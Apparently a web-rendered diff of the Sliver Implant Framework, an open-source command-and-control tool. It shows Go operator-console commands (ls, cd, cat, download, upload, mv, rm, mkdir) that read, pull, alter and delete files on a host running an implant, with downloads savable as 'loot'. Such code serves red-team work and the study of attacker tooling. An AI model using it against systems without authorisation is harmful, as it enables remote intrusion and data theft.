resp := <-rpc(&sliverpb.Envelope{
Type: sliverpb.MsgMkdirReq,
Data: data,
}, defaultTimeout)
if resp.Err != "" {
fmt.Printf(Warn+"Error: %s", resp.Err)
return
}
mkdir := &sliverpb.Mkdir{}
err := proto.Unmarshal(resp.Data, mkdir)
if err != nil {
fmt.Printf(Warn+"Unmarshaling envelope error: %v\n", err)
return
}
if mkdir.Success {
fmt.Printf(Info+"%s\n", mkdir.Path)
} else {
fmt.Printf(Warn+"%s\n", mkdir.Err)
}
}
func cd(ctx *grumble.Context, rpc RPCServer) {
if ActiveSliver.Sliver == nil {
fmt.Printf(Warn + "Please select an active sliver via `use`\n")
return
}
if len(ctx.Args) < 1 {
ctx.Args = append(ctx.Args, ".")
}
data, _ := proto.Marshal(&sliverpb.CdReq{
SliverID: ActiveSliver.Sliver.ID,
Path: ctx.Args[0],
})
resp := <-rpc(&sliverpb.Envelope{
Type: sliverpb.MsgCdReq,
Data: data,
}, defaultTimeout)
if resp.Err != "" {
fmt.Printf(Warn+"Error: %s", resp.Err)
return
}
pwd := &sliverpb.Pwd{}
err := proto.Unmarshal(resp.Data, pwd)
if err != nil {
fmt.Printf(Warn+"Unmarshaling envelope error: %v\n", err)
return
}
fmt.Printf(Info+"%s\n", pwd.Path)
}
func pwd(ctx *grumble.Context, rpc RPCServer) {
if ActiveSliver.Sliver == nil {
fmt.Printf(Warn + "Please select an active sliver via `use`\n")
return
}
data, _ := proto.Marshal(&sliverpb.PwdReq{
SliverID: ActiveSliver.Sliver.ID,
})
resp := <-rpc(&sliverpb.Envelope{
Type: sliverpb.MsgPwdReq,
Data: data,
}, defaultTimeout)
if resp.Err != "" {
fmt.Printf(Warn+"Error: %s", resp.Err)
return
}
pwd := &sliverpb.Pwd{}
err := proto.Unmarshal(resp.Data, pwd)
if err != nil {
fmt.Printf(Warn+"Unmarshaling envelope error: %v\n", err)
return
}
fmt.Printf(Info+"%s\n", pwd.Path)
}
func cat(ctx *grumble.Context, rpc RPCServer) {
if ActiveSliver.Sliver == nil {
fmt.Printf(Warn + "Please select an active sliver via `use`\n")
return
}
if len(ctx.Args) == 0 {
fmt.Printf(Warn + "Missing parameter: file name\n")
return
}
data, _ := proto.Marshal(&sliverpb.DownloadReq{
SliverID: ActiveSliver.Sliver.ID,
Path: ctx.Args[0],
})
resp := <-rpc(&sliverpb.Envelope{
Type: sliverpb.MsgDownloadReq,
Data: data,
}, defaultTimeout)
if resp.Err != "" {
fmt.Printf(Warn+"Error: %s", resp.Err)
return
}
download := &sliverpb.Download{}
proto.Unmarshal(resp.Data, download)
if download.Encoder == "gzip" {
download.Data, _ = new(util.Gzip).Decode(download.Data)
}
fmt.Printf(string(download.Data))
}
func download(ctx *grumble.Context, rpc RPCServer) {
if ActiveSliver.Sliver == nil {
fmt.Printf(Warn + "Please select an active sliver via `use`\n")
return
}
cmdTimeout := time.Duration(ctx.Flags.Int("timeout")) * time.Second
if len(ctx.Args) < 1 {
fmt.Println(Warn + "Missing parameter(s), see `help download`\n")
return
}
if len(ctx.Args) == 1 {
ctx.Args = append(ctx.Args, ".")
}
src := ctx.Args[0]
fileName := filepath.Base(src)
dst, _ := filepath.Abs(ctx.Args[1])
fi, err := os.Stat(dst)
if err != nil {
fmt.Printf(Warn+"%v\n", err)
return
}
if fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
ctrl := make(chan bool)
go spin.Until(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
data, _ := proto.Marshal(&sliverpb.DownloadReq{
SliverID: ActiveSliver.Sliver.ID,
Path: ctx.Args[0],
})
resp := <-rpc(&sliverpb.Envelope{
Type: sliverpb.MsgDownloadReq,
Data: data,
}, cmdTimeout)
ctrl <- true
<-ctrl
if resp.Err != "" {
fmt.Printf(Warn+"Error: %s", resp.Err)
return
}
download := &sliverpb.Download{}
proto.Unmarshal(resp.Data, download)
if download.Encoder == "gzip" {
download.Data, _ = new(util.Gzip).Decode(download.Data)
}
f, err := os.Create(dst)
if err != nil {
fmt.Printf(Warn+"Failed to open local file %s: %v\n", dst, err)
}
defer f.Close()
n, err := f.Write(download.Data)
if err != nil {
fmt.Printf(Warn+"Failed to write data %v\n", err)
} else {
fmt.Printf(Info+"Wrote %d bytes to %s\n", n, dst)
}
}
func upload(ctx *grumble.Context, rpc RPCServer) {
if ActiveSliver.Sliver == nil {
fmt.Printf(Warn + "Please select an active sliver via `use`\n")
return
}
if len(ctx.Args) < 1 {
fmt.Println(Warn + "Missing parameter, see `help upload`\n")
return
}
cmdTimeout := time.Duration(ctx.Flags.Int("timeout")) * time.Second
src, _ := filepath.Abs(ctx.Args[0])
_, err := os.Stat(src)
if err != nil {
fmt.Printf(Warn+"%v\n", err)
return
}
if len(ctx.Args) == 1 {
fileName := filepath.Base(src)
ctx.Args = append(ctx.Args, fileName)
}
dst := ctx.Args[1]
fileBuf, err := ioutil.ReadFile(src)
uploadGzip := bytes.NewBuffer([]byte{})
new(util.Gzip).Encode(uploadGzip, fileBuf)
ctrl := make(chan bool)
go spin.Until(fmt.Sprintf("%s -> %s", src, dst), ctrl)
data, _ := proto.Marshal(&sliverpb.UploadReq{
SliverID: ActiveSliver.Sliver.ID,
Path: dst,
Data: uploadGzip.Bytes(),
Encoder: "gzip",
})
resp := <-rpc(&sliverpb.Envelope{
Type: sliverpb.MsgUploadReq,
Data: data,
}, cmdTimeout)
ctrl <- true
<-ctrl
if resp.Err != "" {
fmt.Printf(Warn+"Error: %s", resp.Err)
return
}
upload := &sliverpb.Upload{}
err = proto.Unmarshal(resp.Data, upload)
if err != nil {
fmt.Printf(Warn+"Unmarshaling envelope error: %v\n", err)
return
}
if upload.Success {
fmt.Printf(clearln+Info+"Written to %s\n", upload.Path)
} else {
fmt.Printf(Warn+"Error %s\n", upload.Err)
}
}
+4
View File
@@ -0,0 +1,4 @@
Filesystem
==========
This package implements file system commands such as `ls`, `cd`, `rm`, `download`, `upload`, etc.
+159
View File
@@ -0,0 +1,159 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/hex"
"fmt"
"os"
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CatCmd - Display the contents of a remote file
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
if filePath == "" {
con.PrintErrorf("Missing parameter: file name\n")
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, ctx, con)
}
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
lootDownload bool = true
err error
)
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
userLootType := ctx.Flags.String("type")
userLootFileType := ctx.Flags.String("file-type")
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
}
}
if saveLoot {
lootType, err := loot.ValidateLootType(userLootType)
if err != nil {
con.PrintErrorf("%s\n", err)
// Even if the loot type is bad, we can still print the result to the screen
// We will not loot it though
lootDownload = false
}
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
if lootDownload {
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
con.Printf("\n")
}
}
if ctx.Flags.Bool("colorize-output") {
if err = colorize(download); err != nil {
con.Println(string(download.Data))
}
} else {
if ctx.Flags.Bool("hex") {
con.Println(hex.Dump(download.Data))
} else {
con.Println(string(download.Data))
}
}
}
func colorize(f *sliverpb.Download) error {
lexer := lexers.Match(f.GetPath())
if lexer == nil {
lexer = lexers.Analyse(string(f.GetData()))
if lexer == nil {
lexer = lexers.Fallback
}
}
style := styles.Get("monokai")
if style == nil {
style = styles.Fallback
}
formatter := formatters.Get("terminal16m")
if formatter == nil {
formatter = formatters.Fallback
}
if lexer != nil {
iterator, err := lexer.Tokenise(nil, string(f.GetData()))
if err != nil {
return err
}
err = formatter.Format(os.Stdout, style, iterator)
if err != nil {
return err
}
} else {
return fmt.Errorf("no lexer found")
}
return nil
}
+61
View File
@@ -0,0 +1,61 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CdCmd - Change directory on the remote system
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
PrintPwd(pwd, con)
}
}
+226
View File
@@ -0,0 +1,226 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"os"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
recurse := ctx.Flags.Bool("recurse")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
Recurse: recurse,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleDownloadResponse(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
HandleDownloadResponse(download, ctx, con)
}
}
func prettifyDownloadName(path string) string {
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
if err != nil {
// Well, we tried.
return path
}
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
// Collapse multiple underscores into one
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
if err != nil {
return filteredString
}
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
// If there is an underscore at the front of the filename, strip that off
if strings.HasPrefix(filteredString, "_") {
filteredString = filteredString[1:]
}
return filteredString
}
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
}
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
saveLoot := ctx.Flags.Bool("loot")
if download.ReadFiles == 0 {
// No files downloaded successfully.
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
return
}
if saveLoot {
lootName := ctx.Flags.String("name")
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Hand off to the loot package to take care of looting
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
} else {
fileName := filepath.Base(remotePath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
if download.IsDir {
// Come up with a good file name - filters might make the filename ugly
session, beacon := con.ActiveTarget.Get()
implantName := ""
if session != nil {
implantName = session.Name
} else if beacon != nil {
implantName = beacon.Name
}
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
}
if runtime.GOOS == "windows" {
// Windows has a file path length of 260 characters
// +1 for the path separator before the file name
if len(dst)+len(fileName)+1 > 260 {
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = filepath.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
var readFilesText string
var unreadFilesText string
if download.ReadFiles == 1 {
readFilesText = "file"
} else {
readFilesText = "files"
}
if download.UnreadableFiles == 1 {
unreadFilesText = "file"
} else {
unreadFilesText = "files"
}
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
n,
download.ReadFiles,
readFilesText,
download.UnreadableFiles,
unreadFilesText,
dstFile.Name())
}
}
}
+162
View File
@@ -0,0 +1,162 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"fmt"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// LsCmd - List the contents of a remote directory
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("path")
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if ls.Response != nil && ls.Response.Async {
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, ls)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, ctx.Flags, con)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
// Generate metadata to print with the path
numberOfFiles := len(ls.Files)
var totalSize int64 = 0
var pathInfo string
for _, fileInfo := range ls.Files {
totalSize += fileInfo.Size
}
if numberOfFiles == 1 {
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
} else {
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
}
con.Printf("%s\n", pathInfo)
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Extract the flags
reverseSort := flags.Bool("reverse")
sortByTime := flags.Bool("modified")
sortBySize := flags.Bool("size")
/*
By default, name sorting is case sensitive. Upper case entries come before
lower case ones. Instead, we will level the playing field and sort
regardless of case
*/
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
})
}
/*
After names are sorted properly, take care of the modified time if the
user wants to sort by time. Doing this after sorting by name
will make the time sorted entries properly sorted by name if times are equal.
*/
if sortByTime {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime > ls.Files[j].ModTime
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime < ls.Files[j].ModTime
})
}
} else if sortBySize {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size > ls.Files[j].Size
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size < ls.Files[j].Size
})
}
}
for _, fileInfo := range ls.Files {
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else if fileInfo.Link != "" {
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
}
table.Flush()
con.Printf("%s\n", outputBuf.String())
}
+76
View File
@@ -0,0 +1,76 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MkdirCmd - Make a remote directory
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
if filePath == "" {
con.PrintErrorf("Missing parameter: directory name\n")
return
}
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if mkdir.Response != nil && mkdir.Response.Async {
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mkdir)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMkdir(mkdir, con)
})
con.PrintAsyncResponse(mkdir.Response)
} else {
PrintMkdir(mkdir, con)
}
}
// PrintMkdir - Print make directory
func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
if mkdir.Response != nil && mkdir.Response.Err != "" {
con.PrintErrorf("%s\n", mkdir.Response.Err)
return
}
con.PrintInfof("%s\n", mkdir.Path)
}
+84
View File
@@ -0,0 +1,84 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
src := ctx.Args.String("src")
if src == "" {
con.PrintErrorf("Missing parameter: src\n")
return
}
dst := ctx.Args.String("dst")
if dst == "" {
con.PrintErrorf("Missing parameter: dst\n")
return
}
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
Request: con.ActiveTarget.Request(ctx),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
mv.Src, mv.Dst = src, dst
if mv.Response != nil && mv.Response.Async {
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(mv.Response)
} else {
PrintMv(mv, con)
}
return
}
// PrintMv - Print the renamed file
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
if mv.Response != nil && mv.Response.Err != "" {
con.PrintErrorf("%s\n", mv.Response.Err)
return
}
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
}
+67
View File
@@ -0,0 +1,67 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// PwdCmd - Print the remote working directory
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
PrintPwd(pwd, con)
}
}
// PrintPwd - Print the remote working directory
func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
if pwd.Response != nil && pwd.Response.Err != "" {
con.PrintErrorf("%s\n", pwd.Response.Err)
return
}
con.PrintInfof("%s\n", pwd.Path)
}
+78
View File
@@ -0,0 +1,78 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// RmCmd - Remove a directory from the remote file system
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
if filePath == "" {
con.PrintErrorf("Missing parameter: file or directory name\n")
return
}
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
Recursive: ctx.Flags.Bool("recursive"),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if rm.Response != nil && rm.Response.Async {
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, rm)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRm(rm, con)
})
con.PrintAsyncResponse(rm.Response)
} else {
PrintRm(rm, con)
}
}
// PrintRm - Print the rm response
func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
if rm.Response != nil && rm.Response.Err != "" {
con.PrintErrorf("%s\n", rm.Response.Err)
return
}
con.PrintInfof("%s\n", rm.Path)
}
Loaded 100 of 9967 files, more files were not shown because too many files have changed in this diff. Show more